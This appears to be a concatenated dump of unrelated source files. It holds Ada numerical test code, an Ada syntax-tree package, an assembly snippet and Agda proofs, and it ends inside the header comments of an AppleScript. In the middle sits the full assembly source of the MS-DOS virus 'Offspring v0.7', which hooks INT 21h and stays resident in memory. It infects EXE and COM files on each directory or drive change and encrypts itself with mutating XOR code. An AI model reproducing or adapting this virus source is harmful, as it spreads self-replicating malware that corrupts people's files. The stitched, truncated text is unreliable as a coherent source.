Col) then Max_A_Val := Abs A(Row, Col); end if; end loop; end loop; Max_A_Val := Max_A_Val + Min_Allowed_Real; Scaling := +1.0 / Max_A_Val; Sum := +0.0; for Row in Starting_Col .. Final_Col loop for Col in Starting_Col .. Final_Col loop tmp := Scaling * A(Row, Col); Sum := Sum + tmp * tmp; end loop; end loop; return Sqrt (Sum) * Max_A_Val; end Frobenius_Norm; -- Q * T * Q' function Product (Q, T : in Matrix; Starting_Col : in Index; Final_Col : in Index) return Matrix_e is E, Result : Matrix_e := (others => (others => 0.0)); Sum : Real_e; begin for Row in Starting_Col .. Final_Col loop for Col in Starting_Col .. Final_Col loop Sum := +0.0; for k in Starting_Col .. Final_Col loop Sum := Sum + Real_e (Q(Row, k)) * Real_e (T(k, Col)); end loop; E (Row, Col) := Sum; end loop; end loop; for Row in Starting_Col .. Final_Col loop for Col in Starting_Col .. Final_Col loop Sum := +0.0; for k in Starting_Col .. Final_Col loop Sum := Sum + E(Row, k) * Real_e (Q(Col, k)); -- Q_transpose end loop; Result (Row, Col) := Sum; if not Sum'valid then put("!!!"); end if; end loop; end loop; return Result; end Product; ---------------------------- -- Error_in_Decomposition -- ---------------------------- -- rough estimate, relative err. procedure Error_in_Decomposition (A : in Matrix; -- A_true U, T : in Matrix; Starting_Col : in Index; Final_Col : in Index; Max_Error : out Real) is Err, Arc : Real_e := 0.0; D : Matrix_e; A_e : Matrix_e; Min_Allowed_Real : constant Real_e := 2.0**Min_Exp; begin -- Want Err = A - U * T * U' Max_Error := 0.0; -- D = U * T * U' D := Product (U, T, Starting_Col, Final_Col); -- resuse D as D = A - U * T * U' for r in Starting_Col .. Final_Col loop for c in Starting_Col .. Final_Col loop Arc := Real_e(A(r, c)); A_e(r, c) := Arc; D(r, c) := D(r, c) - Arc; end loop; end loop; Err := Frobenius_Norm (D, Starting_Col, Final_Col) / (Frobenius_Norm (A_e, Starting_Col, Final_Col) + Min_Allowed_Real); Max_Error := Real (Err); end Error_in_Decomposition; ----------- -- Pause -- ----------- procedure Pause (s0,s1,s2,s3,s4,s5,s6,s7,s8,s9 : string := "") is Continue : Character := ' '; begin new_line; if S0 /= "" then put_line (S0); end if; if S1 /= "" then put_line (S1); end if; if S2 /= "" then put_line (S2); end if; if S3 /= "" then put_line (S3); end if; if S4 /= "" then put_line (S4); end if; if S5 /= "" then put_line (S5); end if; if S6 /= "" then put_line (S6); end if; if S7 /= "" then put_line (S7); end if; if S8 /= "" then put_line (S8); end if; if S9 /= "" then put_line (S9); end if; new_line; begin put ("Type a character to continue: "); get_immediate (Continue); exception when others => null; end; end pause; x, Max_Error : Real := 0.0; A_true, A : Matrix := (others => (others => 0.0)); U : Matrix := (others => (others => 0.0)); N : constant Integer := Integer(Final_Col) - Integer(Starting_Col) + 1; begin Pause( "Test1: Tri-diagonalization of matrix A.", "Error is estimated by measuring Max value of", " ", " ||Q * A_tridiag * Q' - A|| / ||A||", " ", "where ||M|| denotes the Frobenius norm of matrix M. If 15 digit Reals are", "used and if all goes well, then expect error to be a few parts per 10**15." ); new_line(2); put ("More padding = "); put (Unsigned_32'Image(more_padding)); new_line(2); put ("Testing Tridiagonal on the following"); put (Integer'Image (N)); put (" x"); put (Integer'Image (N)); put (" symmetrized matrices:"); new_line(1); for Chosen_Matrix in Matrix_Id loop --for Chosen_Matrix in pas_fib .. pas_fib loop --for Chosen_Matrix in vandermonde .. companion_0 loop --for Chosen_Matrix in vandermonde .. vandermonde loop --for Chosen_Matrix in companion_1 .. companion_1 loop --for Chosen_Matrix in clustered .. clustered loop --for Chosen_Matrix in fiedler_1 .. fiedler_1 loop --for Chosen_Matrix in laguerre .. laguerre loop Square_Matrices.Init_Matrix (A, Chosen_Matrix, Starting_Col, Final_Col); transpose (A); -- Tridi only works on symmetric matrices: for c in Starting_Col .. Final_Col loop for r in Starting_Col .. Final_Col loop A_true(r, c) := A(r, c) + A(c, r); end loop; end loop; A := A_true; -- A will be destroyed, so save it in A_true. -- A_tridiag = Q_tr * A_true * Q. -- -- A_true = Q * A_tridiag * Q_tr. Tridiag.Tridiagonalize (A => A, -- A is replaced with: A_tridiagonal Q => U, -- A_true = U * A_tridiagonal * U_transpose Starting_Col => Starting_Col, Final_Col => Final_Col, Initial_Q => Tridiag.Identity, Q_Matrix_Desired => True); x := x + A(2,2) + U(2,2); Error_in_Decomposition (A_true, U, A, -- A should be tridiagonal now Starting_Col, Final_Col, Max_Error); for c in Starting_Col .. Final_Col-1 loop for r in c .. Final_Col loop if A(r, c) /= A(c, r) then new_line; put("Symmetry error for matrix"); put (Matrix_id'Image(Chosen_Matrix)); end if; end loop; end loop; new_line; put ("Error in decomposition ~"); put (Max_Error); put (" for matrix "); put (Matrix_id'Image(Chosen_Matrix)); end loop; --put (x); end tridiag_tst_1;
source/nodes/program-nodes-parameter_associations.adb
optikos/oasis
0
28237
-- Copyright (c) 2019 <NAME> <<EMAIL>> -- -- SPDX-License-Identifier: MIT -- License-Filename: LICENSE ------------------------------------------------------------- package body Program.Nodes.Parameter_Associations is function Create (Formal_Parameter : Program.Elements.Expressions.Expression_Access; Arrow_Token : Program.Lexical_Elements.Lexical_Element_Access; Actual_Parameter : not null Program.Elements.Expressions .Expression_Access) return Parameter_Association is begin return Result : Parameter_Association := (Formal_Parameter => Formal_Parameter, Arrow_Token => Arrow_Token, Actual_Parameter => Actual_Parameter, Enclosing_Element => null) do Initialize (Result); end return; end Create; function Create (Formal_Parameter : Program.Elements.Expressions.Expression_Access; Actual_Parameter : not null Program.Elements.Expressions .Expression_Access; Is_Part_Of_Implicit : Boolean := False; Is_Part_Of_Inherited : Boolean := False; Is_Part_Of_Instance : Boolean := False) return Implicit_Parameter_Association is begin return Result : Implicit_Parameter_Association := (Formal_Parameter => Formal_Parameter, Actual_Parameter => Actual_Parameter, Is_Part_Of_Implicit => Is_Part_Of_Implicit, Is_Part_Of_Inherited => Is_Part_Of_Inherited, Is_Part_Of_Instance => Is_Part_Of_Instance, Enclosing_Element => null) do Initialize (Result); end return; end Create; overriding function Formal_Parameter (Self : Base_Parameter_Association) return Program.Elements.Expressions.Expression_Access is begin return Self.Formal_Parameter; end Formal_Parameter; overriding function Actual_Parameter (Self : Base_Parameter_Association) return not null Program.Elements.Expressions.Expression_Access is begin return Self.Actual_Parameter; end Actual_Parameter; overriding function Arrow_Token (Self : Parameter_Association) return Program.Lexical_Elements.Lexical_Element_Access is begin return Self.Arrow_Token; end Arrow_Token; overriding function Is_Part_Of_Implicit (Self : Implicit_Parameter_Association) return Boolean is begin return Self.Is_Part_Of_Implicit; end Is_Part_Of_Implicit; overriding function Is_Part_Of_Inherited (Self : Implicit_Parameter_Association) return Boolean is begin return Self.Is_Part_Of_Inherited; end Is_Part_Of_Inherited; overriding function Is_Part_Of_Instance (Self : Implicit_Parameter_Association) return Boolean is begin return Self.Is_Part_Of_Instance; end Is_Part_Of_Instance; procedure Initialize (Self : aliased in out Base_Parameter_Association'Class) is begin if Self.Formal_Parameter.Assigned then Set_Enclosing_Element (Self.Formal_Parameter, Self'Unchecked_Access); end if; Set_Enclosing_Element (Self.Actual_Parameter, Self'Unchecked_Access); null; end Initialize; overriding function Is_Parameter_Association_Element (Self : Base_Parameter_Association) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Parameter_Association_Element; overriding function Is_Association_Element (Self : Base_Parameter_Association) return Boolean is pragma Unreferenced (Self); begin return True; end Is_Association_Element; overriding procedure Visit (Self : not null access Base_Parameter_Association; Visitor : in out Program.Element_Visitors.Element_Visitor'Class) is begin Visitor.Parameter_Association (Self); end Visit; overriding function To_Parameter_Association_Text (Self : aliased in out Parameter_Association) return Program.Elements.Parameter_Associations .Parameter_Association_Text_Access is begin return Self'Unchecked_Access; end To_Parameter_Association_Text; overriding function To_Parameter_Association_Text (Self : aliased in out Implicit_Parameter_Association) return Program.Elements.Parameter_Associations .Parameter_Association_Text_Access is pragma Unreferenced (Self); begin return null; end To_Parameter_Association_Text; end Program.Nodes.Parameter_Associations;
templates/if.asm
RV8V/asm-code
1
174366
.global _start .data hi: .ascii "hi\0\n" .text _start: mov $5, %r8 push %r8 sub $5, %r8 pop %r8 #cmp $5, %r8 jz if jle if call exit if: mov $1, %rax mov $1, %rdi mov $hi, %rsi mov $5, %rdx syscall jmp exit exit: mov $60, %rax mov $0, %rdi syscall
src/Extensions/Fin.agda
metaborg/ts.agda
4
6070
module Extensions.Fin where open import Prelude open import Data.Fin hiding (_<_) open import Data.Nat
src/PathStructure/Nat.agda
vituscze/HoTT-lectures
0
13180
{-# OPTIONS --without-K #-} module PathStructure.Nat where open import Equivalence open import PathOperations open import Types F : ℕ → ℕ → Set F = ind (λ _ → ℕ → Set) (λ _ r → ind (λ _ → Set) (λ n-1 _ → r n-1) ⊥) ( ind (λ _ → Set) (λ _ _ → ⊥) ⊤) F-lemma : ∀ n → F n n F-lemma = ind (λ n → F n n) (λ _ f → f) _ -- Explicit arguments to prevent code littered with curly brackets. split-path : ∀ x y → x ≡ y → F x y split-path x _ p = tr (F x) p (F-lemma x) merge-path : ∀ x y → F x y → x ≡ y merge-path _ _ f = ind (λ x → ∀ y → F x y → x ≡ y) (λ x r → ind (λ y → F (suc x) y → suc x ≡ y) (λ _ _ f → ap suc (r _ f)) 0-elim) (ind (λ y → F zero y → zero ≡ y) (λ _ _ → 0-elim) (λ _ → refl)) _ _ f -- Lemmas. ap-refl : ∀ {n} (p : n ≡ n) → p ≡ refl → ap suc p ≡ refl ap-refl _ = J (λ p q _ → J (λ x y _ → suc x ≡ suc y) (λ _ → refl) _ _ p ≡ ap suc q) (λ _ → refl) _ refl tr-ap : ∀ m n (f : F m n) → tr (F (suc m)) (ap suc (merge-path m n f)) (F-lemma (suc m)) ≡ tr (F (suc m) ∘ suc) (merge-path m n f) (F-lemma (suc m)) tr-ap m n f = J (λ x y p → tr (F (suc x)) (ap suc p) (F-lemma (suc x)) ≡ tr (F (suc x) ∘ suc) p (F-lemma (suc x))) (λ _ → refl) _ _ (merge-path m n f) split-merge-eq : ∀ {x y} → (x ≡ y) ≃ F x y split-merge-eq {x = x} {y = y} = split-path _ _ , (merge-path _ _ , λ f → ind (λ x → ∀ y (f : F x y) → split-path x y (merge-path x y f) ≡ f) (λ x r → ind (λ y → (f : F (suc x) y) → split-path (suc x) y (merge-path (suc x) y f) ≡ f) (λ y _ f → tr-ap x y f · r y f) (λ b → 0-elim b)) (ind (λ y → (f : F zero y) → split-path zero y (merge-path zero y f) ≡ f) (λ _ _ b → 0-elim b) (λ _ → refl)) x y f) , (merge-path _ _ , J (λ _ _ p → merge-path _ _ (split-path _ _ p) ≡ p) (ind (λ x → merge-path x x (split-path x x refl) ≡ refl) (λ _ → ap-refl _) refl) _ _)
test/asset/agda-stdlib-1.0/Data/W.agda
omega12345/agda-mode
5
11418
------------------------------------------------------------------------ -- The Agda standard library -- -- W-types ------------------------------------------------------------------------ {-# OPTIONS --without-K --safe #-} module Data.W where open import Level open import Function open import Data.Product hiding (map) open import Data.Container.Core hiding (map) open import Data.Container.Relation.Unary.All using (□; all) open import Relation.Nullary open import Agda.Builtin.Equality -- The family of W-types. data W {s p} (C : Container s p) : Set (s ⊔ p) where sup : ⟦ C ⟧ (W C) → W C module _ {s p} {C : Container s p} {s : Shape C} {f : Position C s → W C} where sup-injective₁ : ∀ {t g} → sup (s , f) ≡ sup (t , g) → s ≡ t sup-injective₁ refl = refl -- See also Data.W.WithK.sup-injective₂. -- Projections. module _ {s p} {C : Container s p} where head : W C → Shape C head (sup (x , f)) = x tail : (x : W C) → Position C (head x) → W C tail (sup (x , f)) = f -- map module _ {s₁ s₂ p₁ p₂} {C₁ : Container s₁ p₁} {C₂ : Container s₂ p₂} (m : C₁ ⇒ C₂) where map : W C₁ → W C₂ map (sup (x , f)) = sup (⟪ m ⟫ (x , λ p → map (f p))) -- induction module _ {s p ℓ} {C : Container s p} (P : W C → Set ℓ) (alg : ∀ {t} → □ C P t → P (sup t)) where induction : (w : W C) → P w induction (sup (s , f)) = alg $ all (induction ∘ f) module _ {s p ℓ} {C : Container s p} (open Container C) {P : Set ℓ} (alg : ⟦ C ⟧ P → P) where foldr : W C → P foldr = induction (const P) (alg ∘ -,_ ∘ □.proof) -- If Position is always inhabited, then W_C is empty. module _ {s p} {C : Container s p} where inhabited⇒empty : (∀ s → Position C s) → ¬ W C inhabited⇒empty b = foldr ((_$ b _) ∘ proj₂)
GSeTT/GSeTT.agda
thibautbenjamin/catt-formalization
0
14677
<gh_stars>0 {-# OPTIONS --rewriting #-} module GSeTT.GSeTT where open import GSeTT.Syntax open import GSeTT.Rules import GSeTT.CwF-structure import GSeTT.Dec-Type-Checking import GSeTT.Uniqueness-Derivations open import GSeTT.Typed-Syntax
MSDOS/Virus.MSDOS.Unknown.osp-07s.asm
fengjixuchui/Family
3
168837
;------------------------------------------------------------------------- ; ************************************************ ; OFFSPRING v0.7 - BY VIROGEN - 04-26-93 ; ************************************************ ; ; - Compatible with A86 v3.22 ; ; ; DISCLAIMER : Don't hold me responsible for any damages, or the release ; of this virus. Use at your own risk. ; ; TYPE : Parastic Spawning Resident Encrypting (PSRhA) ; ; ; VERSION : BETA 0.7 ; ; INFECTION METHOD : Everytime DOS function 3Bh (change dir) or function ; 0Eh (change drive) is called the virus will infect ; up to 5 files in the current directory (the one ; you're coming out of). It will first infect all ; EXE files by creating a corresponding COM. Once ; all EXE files have been infected, it then infects ; COM files. All COM files created by a spawning ; infection will have the read-only and hidden ; attribute. ; ; ; THE ENCRYPION OF THIS VIRUS : ; Ok, this virus's encryption method is a simple ; XOR. The encryption operands are changed directly. ; Also, the operands are switched around, and the ; bytes between them are constantly changed. The ; call to the encryption routine changes, so the ; address can be anywhere in a field of NOPs. ; Not anything overly amazing, but it works. ; ; TITLE OFFSPRING_1 .286 CSEG SEGMENT ASSUME CS: CSEG, SS: CSEG, ES: CSEG SIGNAL EQU 7DH ; Installation check REPLY EQU 0FCH ; reply to check CR EQU 0DH ; carraige return LF EQU 0AH ; line feed F_NAME EQU 1EH ; Offset of file name in FF/FN buffer F_SIZEL EQU 1CH ; File size - low F_SIZEH EQU 1AH ; File size - high F_DATE EQU 18H ; File date F_TIME EQU 16H ; File time MAX_INF EQU 05 ; Maximum files to infect per run MAX_ROTATION EQU 9 ; number of bytes in switch byte table PARASTIC EQU 01 ; Parastic infection SPAWN EQU 00 ; Spawning infection ORG 100H ; Leave room for PSP ;------------------------------------------------------------------ ; Start of viral code ;------------------------------------------------------------------ START: DB 0BEH ; MOV SI,xxxx - Load delta offset SET_SI: DW 0000H SKIP_DEC: JMP NO_DEC ; Skip decryption, changes into NOP on ; replicated copies. M_SW1: NOP ; changs into a byte in op_set XCHG_1 DB 0BFH DW OFFSET ENC_DATA+2 ; Point to byte after encryption num ; Switches positions with XCHG_2 M_SW2: NOP ; changes into a byte in op_set XCHG_2 DB 090H ENC_NUM DW 9090H M_SW3: NOP DI_INS: DW 0C783H ; ADD DI,0 - changes to ADD DI,xxxx ADD_DI: DW 9000H ; 00-NOP CALL_ENC DB 0E8 ; Call encryption routine - address changes E_JMP DW (OFFSET END_ENCRYPT-OFFSET E_JMP+2) NO_DEC: JMP MAIN ; Jump to virus code ;----------------------------------------------- ; Data area ;----------------------------------------------- ENC_DATA DW 0000 ; Start of encrypted data ROT_NUM DW 0000 ; Used when replacing bytes with OP_SET VTYPE DB 00 ; Spawning or Parastic Infection? INF_COUNT DB 0 ; How many files we have infected this run COM_NAME DB 'COMMAND.COM' ; obvious NEW_CODE DW 9090H ; ID bytes NEW_JMP DB 0E9H,00,00 ; New Jump FIRST_FIVE DB 5 DUP(0) ; original first five bytes of parasic inf. ADD_MEM DB 0 ; restore mem size? Yes,No ID DB CR,LF,'(c)1993 negoriV',CR,LF ; my copyright VNAME DB CR,LF,'* Thank you for providing me and my offspring with a safe place to live *' DB CR,LF,'* Offspring I v0.07. *',CR,LF,'$' FNAME1 DB '*.EXE',0 ; Filespec FNAME2 DB '*.COM',0 ; Filespec FNAME_OFF DW FNAME1 ; Offset of Filespec to use TIMES_INC DB 0 ; # of times encryption call incremented SL DB '\' ; Backslash for directory name FILE_DIR DB 64 DUP(0) ; directory of file we infected FILE_NAME DB 13 DUP(0) ; filename of file we infected OLD_DTA DD 0 ; old seg:off of DTA OLD21_OFS DW 0 ; Offset of old INT 21H OLD21_SEG DW 0 ; Seg of old INT 21h NEW_SEG DW 0 ; New segment in high mem PAR_BLK DW 0 ; command line count byte -psp PAR_CMD DW 0080H ; Point to the command line -psp PAR_SEG DW 0 ; seg DW 05CH ; Use default FCB's in psp to save space PAR1 DW 0 ; DW 06CH ; FCB #2 PAR2 DW 0 ; ;-------------------------------------------------------------------- ; INT 21h ;--------------------------------------------------------------------- NEW21 PROC ; New INT 21H handler CMP AH, SIGNAL ; signaling us? JNE NO MOV AH,REPLY ; yep, give our offspring what he wants JMP END_21 NO: CMP AH, 3BH ; set dir func? JE RUN_RES CMP AH,0EH ; set disk func? JE RUN_RES JMP END_21 RUN_RES: PUSHF PUSH AX ; Push regs PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH BP PUSH DS PUSH ES PUSH SP PUSH SS PUSH CS POP DS XOR AX,AX ; nullify ES MOV ES,AX CMP ADD_MEM,1 ; Restore system conventional mem size? JE REL_MEM ; CMP AH,48H ; alloc. mem block? If so we subtract 3k from JE SET_MEM ; total system memory. JMP NO_MEM_FUNC SET_MEM: SUB WORD PTR ES: [413H],3 ; Subtract 3k from total sys mem INC ADD_MEM ; make sure we know to add this back JMP NO_MEM_FUNC REL_MEM: ADD WORD PTR ES: [413H],3 ; Add 3k to total sys mem DEC ADD_MEM NO_MEM_FUNC: MOV AH,2FH INT 21H ; Get the DTA MOV AX,ES MOV WORD PTR OLD_DTA,BX MOV WORD PTR OLD_DTA+2,AX PUSH CS POP ES CALL RESIDENT ; Call infection kernal MOV DX,WORD PTR OLD_DTA MOV AX,WORD PTR OLD_DTA+2 MOV DS,AX MOV AH,1AH INT 21H ; Restore the DTA POP SS ; Pop regs POP SP POP ES POP DS POP BP POP SI POP DI POP DX POP CX POP BX POP AX POPF END_21 : JMP [ DWORD PTR CS: OLD21_OFS] ; jump to original int 21h IRET NEW21 ENDP ; End of handler ;------------------------------------------------------------ ; Main ;----------------------------------------------------------- MAIN PROC MOV WORD PTR [SI+OFFSET SKIP_DEC],9090H ; NOP the jump past decryption MOV BYTE PTR [SI+OFFSET SKIP_DEC+2],90H MOV AX,DS: 002CH ; Get environment address MOV [SI+OFFSET PAR_BLK],AX ; Save in parameter block for exec MOV [SI+OFFSET PAR1],CS ; Save segments for EXEC MOV [SI+OFFSET PAR2],CS MOV [SI+OFFSET PAR_SEG],CS MOV AH,2AH ; Get date INT 21H CMP DL,14 ; 14th? JNE NO_DISPLAY MOV AH,09 ; Display message LEA DX,[SI+OFFSET ID] INT 21H NO_DISPLAY: CALL INSTALL ; check if installed, if not install CMP BYTE PTR [SI+OFFSET VTYPE],PARASTIC JE SKIP_THIS MOV BX,(OFFSET VEND+50) ; Calculate memory needed MOV CL,4 ; divide by 16 SHR BX,CL INC BX MOV AH,4AH INT 21H ; Release un-needed memory LEA DX,[SI+OFFSET FILE_DIR -1] ; Execute the original EXE LEA BX,[SI+OFFSET PAR_BLK] MOV AX,4B00H INT 21H MOV AH,4CH ; Exit INT 21H SKIP_THIS: MOV CX,5 ; Restore original first ADD SI,OFFSET FIRST_FIVE ; five bytes of COM file MOV DI,0100H CLD REP MOVSB MOV AX,0100H ; Simulate CALL return to 0100h PUSH AX RET MAIN ENDP ;--------------- ; INSTALL - Install the virus ;-------------- INSTALL PROC MOV AH,SIGNAL INT 21H CMP AH,REPLY JE NO_INSTALL MOV AX,CS DEC AX MOV DS,AX CMP BYTE PTR DS: [0],'Z' ;Is this the last MCB in ;the chain? JNE NO_INSTALL MOV AX,DS: [3] ;Block size in MCB SUB AX,190 ;Shrink Block Size-quick estimate MOV DS: [3],AX MOV BX,AX MOV AX,ES ADD AX,BX MOV ES,AX ;Find high memory seg PUSH SI ADD SI,0100H MOV CX,(OFFSET VEND - OFFSET START) MOV AX,DS INC AX MOV DS,AX MOV DI,100H ; New location in high memory CLD REP MOVSB ; Copy virus to high memory POP SI MOV DS: NEW_SEG,ES ;Save new segment PUSH ES POP DS XOR AX,AX MOV ES,AX ; null es MOV AX,ES: [21H*4+2] MOV BX,ES: [21H*4] MOV DS: OLD21_SEG,AX ; Store segment MOV DS: OLD21_OFS,BX ; Store offset CLI MOV ES: [21H*4+2],DS ; Save seg LEA AX,[OFFSET NEW21] MOV ES: [21H*4],AX ; off STI NO_INSTALL: PUSH CS ; Restore regs POP DS MOV ES,DS RET INSTALL ENDP ;------------------------ ; Resident - This is called from the INT 21h handler ;----------------------------- RESIDENT PROC MOV VTYPE,SPAWN MOV WORD PTR SET_SI,0000 ; SI=0000 on load MOV BYTE PTR DI_INS,83H ; ADD DI,0 op MOV WORD PTR ADD_DI,9000H ; 0090h for ADD DI,00 MOV BYTE PTR INF_COUNT,0 ; null infection count MOV FNAME_OFF, OFFSET FNAME1 ; Set search for *.EXE FIND_FIRST: MOV WORD PTR VEND,0 ; Clear ff/fn buffer LEA SI, VEND LEA DI, VEND+2 MOV CX,22 CLD REP MOVSW ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions MOV AH, 1AH LEA DX, VEND INT 21H MOV AH, 4EH ; Findfirst MOV CX, 0 ; Set normal file attribute search MOV DX, FNAME_OFF INT 21H JNC NEXT_LOOP ; if still finding files then loop JMP END_PROG NEXT_LOOP : CMP VTYPE, PARASTIC ; parastic infection? JE START_INF ; yes, skip all this MOV AH,47H XOR DL,DL LEA SI,FILE_DIR INT 21H CMP WORD PTR VEND[F_SIZEL],0 ; Make sure file isn't 64k+ JE OK_FIND ; for spawning infections JMP FIND_FILE OK_FIND: XOR BX,BX LM3 : ; find end of directory name INC BX CMP FILE_DIR[BX],0 JNE LM3 MOV FILE_DIR[BX],'\' ; append backslash to path INC BX MOV CX,13 ; append filename to path LEA SI,VEND[F_NAME] LEA DI,FILE_DIR[BX] CLD REP MOVSB XOR BX,BX MOV BX,1EH LOOP_ME: ; search for filename ext. INC BX CMP BYTE PTR VEND[BX], '.' JNE LOOP_ME INC BX ; change it to COM MOV WORD PTR VEND [BX],'OC' MOV BYTE PTR VEND [BX+2],'M' START_INF: CMP VTYPE, PARASTIC ; parastic infection? JE PARASTIC_INF ; yes.. so jump ;-------------------------------------- ; Spawning infection LEA DX, VEND[F_NAME] MOV AH, 3CH ; Create file MOV CX, 02H ; READ-ONLY OR CX, 01H ; Hidden INT 21H ; Call INT 21H JNC CONTIN ; If Error-probably already infected JMP NO_INFECT CONTIN: INC INF_COUNT MOV BX,AX JMP ENCRYPT_OPS ;---------------------------------------- ; Parastic infection PARASTIC_INF : CMP VEND[F_SIZEh],400H JGE CONT_INF2 JMP NO_INFECT CONT_INF2: LEA SI,VEND[F_NAME] ; Is Command.COM? LEA DI,COM_NAME MOV CX,11 CLD REPE CMPSB JNE CONT_INF0 ; Yes, don't infect JMP NO_INFECT CONT_INF0: MOV AX,3D02H ; Open file for reading & writing LEA DX,VEND[F_NAME] ; Filename in FF/FN buffer INT 21H JNC CONT_INF1 ; error, skip infection JMP NO_INFECT CONT_INF1: MOV BX,AX MOV AH,3FH ; Read first five bytes of file MOV CX,05 LEA DX,FIRST_FIVE INT 21H CMP WORD PTR FIRST_FIVE,9090H JNE CONT_INF MOV AH,3EH INT 21H JMP NO_INFECT CONT_INF: INC INF_COUNT MOV AX,4202H ; Set pointer to end of file, so we XOR CX,CX ; can find the file size XOR DX,DX INT 21H ;SUB AX,0100h ; Subtract PSP size MOV WORD PTR SET_SI,AX ; Change the MOV SI inst. MOV WORD PTR ADD_DI,AX ; ADD DI,xxxx MOV BYTE PTR DI_INS,81H ; ADD DI op MOV AX,4200H XOR CX,CX XOR DX,DX INT 21H MOV AX,VEND[F_SIZEH] SUB AX,5 MOV WORD PTR NEW_JMP+1,AX MOV AH,40H MOV CX,6 LEA DX,NEW_CODE INT 21H MOV AX,4202H XOR CX,CX XOR DX,DX INT 21H ENCRYPT_OPS: ;----------------------------- ; Change encryptions ops PUSH BX MOV AX,WORD PTR XCHG_1 ; Switch XCHG_1, and XCHG_2 MOV BX,WORD PTR XCHG_2 MOV WORD PTR XCHG_1,BX MOV WORD PTR XCHG_2,AX MOV AH, BYTE PTR XCHG_1+2 MOV BH, BYTE PTR XCHG_2+2 MOV BYTE PTR XCHG_1+2,BH MOV BYTE PTR XCHG_2+2,AH XOR_DONE: CHG_TWO: XOR CX,CX ; CX=0 LEA DI,SW_BYTE1 ; DI->sw_byte1 CHG_REST: INC ROT_NUM ; increment rotation number MOV BX,ROT_NUM ; bx=rotation num MOV AH,OP_SET[BX] ; ah = new op code from set MOV BYTE PTR [DI],AH CMP ROT_NUM,MAX_ROTATION ; max rotation num? JNE CHG_CNT ; no, chg_cnt MOV WORD PTR ROT_NUM,0 ; reset rotation num CHG_CNT: INC CX ; increment count CMP CX,1 LEA DI,M_SW1 JE CHG_REST CMP CX,2 LEA DI,M_SW2 JE CHG_REST CMP CX,3 LEA DI,M_SW3 JE CHG_REST CMP CX,4 LEA DI,SW_BYTE1 JE CHG_REST CHG_THREE: XOR CX,CX LEA DI,SW_BYTE3 CHG_FOUR: CMP BYTE PTR [DI],47H ; is first byte (of 3rd) 'INC DI'? MOV BX,1 ; JE MOV_POS ; Yes, so change it to the second CMP BYTE PTR [DI+1],47H ; is second byte 'INC DI' MOV BX,2 ; JE MOV_POS ; Yes, change it to the third XOR BX,BX ; Else, must be in final position MOV_POS: MOV WORD PTR [DI],9090H ; set all three bytes (of 3rd) MOV BYTE PTR [DI+2],90H ; to NOP MOV BYTE PTR [DI+BX],47H ; place 'INC DI' in necessary pos. CMP BX,2 JNE NO_CHANGE INC CX CMP CX,2 LEA DI,SW_BYTE4 JNE CHG_FOUR NO_CHANGE: CMP BYTE PTR TIMES_INC,9 JE INC_NUM INC WORD PTR B_WR INC WORD PTR E_JMP INC WORD PTR E_JMP INC TIMES_INC JMP D2 INC_NUM: SUB WORD PTR B_WR,09 SUB WORD PTR E_JMP,18 MOV TIMES_INC,0 ;----------------------- ; Get random XOR number, save it, copy virus, encrypt code D2: MOV AH,2CH ; INT 21H ; Get random number from clock - millisecs MOV WORD PTR XOR_OP+2,DX ; save encryption # MOV SI,0100H LEA DI,VEND+50 ; destination MOV CX,OFFSET VEND-100H ; bytes to move CLD REP MOVSB ; copy virus outside of code LEA DI,VEND+ENC_DATA-204 ; offset of new copy of virus CMP BYTE PTR VTYPE, PARASTIC JNE GO_ENC ;add di,si GO_ENC: CALL ENCRYPT ; encrypt new copy of virus ;---------------------------------------- ; Write and close new infected file POP BX MOV CX, OFFSET VEND-100H ; # of bytes to write LEA DX, VEND+50 ; Offset of buffer MOV AH, 40H ; -- our program in memory INT 21H ; Call INT 21H function 40h CMP VTYPE, PARASTIC ; parastic? JNE CLOSE ; no, don't need to restore date/time MOV AX,5701H ; Restore data/time MOV CX,VEND[F_TIME] MOV DX,VEND[F_DATE] INT 21H CLOSE: MOV AH, 3EH INT 21H NO_INFECT: ; Find next file FIND_FILE : CMP INF_COUNT, MAX_INF JE END_PROG MOV AH,4FH INT 21H JC END_PROG JMP NEXT_LOOP END_PROG: EXIT : CMP INF_COUNT,0 ; Start parastic infection on next run JNE FIND_DONE CMP VTYPE, PARASTIC ; Parastic infection done? JE FIND_DONE ; yes, we're finished MOV FNAME_OFF, OFFSET FNAME2 ; Point to new filespec MOV VTYPE, PARASTIC ; virus type = parastic JMP FIND_FIRST FIND_DONE: MOV VTYPE,SPAWN MOV FNAME_OFF, OFFSET FNAME1 RET RESIDENT ENDP END_ENCRYPT: ; Let's encrypt everything up to here OP_SET DB 90H ; NOP DB 40H ; INC AX DB 43H ; INC BX DB 48H ; DEC AX DB 4BH ; DEC BX DB 0FBH ; STI DB 0FCH ; CLD DB 4AH ; DEC DX DB 42H ; INC DX DB 14 DUP(090H) ;------------------------------------------------ ; Encrypt/Decrypt Routine ;----------------------------------------------- ENCRYPT PROC CX_M DB 0B9H ; MOV CX B_WR DW (OFFSET END_ENCRYPT-OFFSET ENC_DATA)/2 E2: SW_BYTE1: ; XOR [di],dx swaps positions with this NOP XOR_OP: XOR WORD PTR [DI],0666H ; Xor each word - number changes accordingly SW_BYTE3: ; INC DI changes position in these bytes INC DI NOP NOP SW_BYTE4: ; INC DI changes position in these bytes INC DI NOP NOP SW_BYTE2: NOP ; This byte changes into a char in op_set LOOP E2 ; loop while cx != 0 RET ENCRYPT ENDP VEND DW 0 ; End of virus CSEG ENDS END START
Papers3/Papers_To_Bookends/Papers_To_Bookends.applescript
extracts/mac-scripting
50
2733
<filename>Papers3/Papers_To_Bookends/Papers_To_Bookends.applescript -- Papers to Bookends -- version 1.4, licensed under the MIT license -- by <NAME>, keypointsapp.net, mat(at)extracts(dot)de -- Exports all publications selected in your Papers 3 library (incl. its primary PDFs) to Bookends. -- This script requires macOS 10.10 (Yosemite) or greater, the KeypointsScriptingLib v1.2 or -- greater, Papers 3.4.2 or greater, and Bookends 12.5.5 or greater. -- Besides the common publication metadata (supported by the RIS format), this export script will -- also transfer the following publication properties (if not disabled below): -- * rating -- * color label -- * flagged status -- * language -- * edition -- * citekey -- * "papers://…" link -- For the color label and flagged status, the script will add special keywords to the corresponding -- Bookends publication (these keywords can be customized below). -- For journal articles, the script will also transfer the publication's PMID and PMCID (if defined). -- NOTE: Before executing the app, make sure that your Papers and Bookends apps are running, -- and that you've selected all publications in your Papers library that you'd like to export to -- Bookends. Then run the script to start the export process. -- NOTE: Upon completion, Bookends will display a modal dialog reporting how 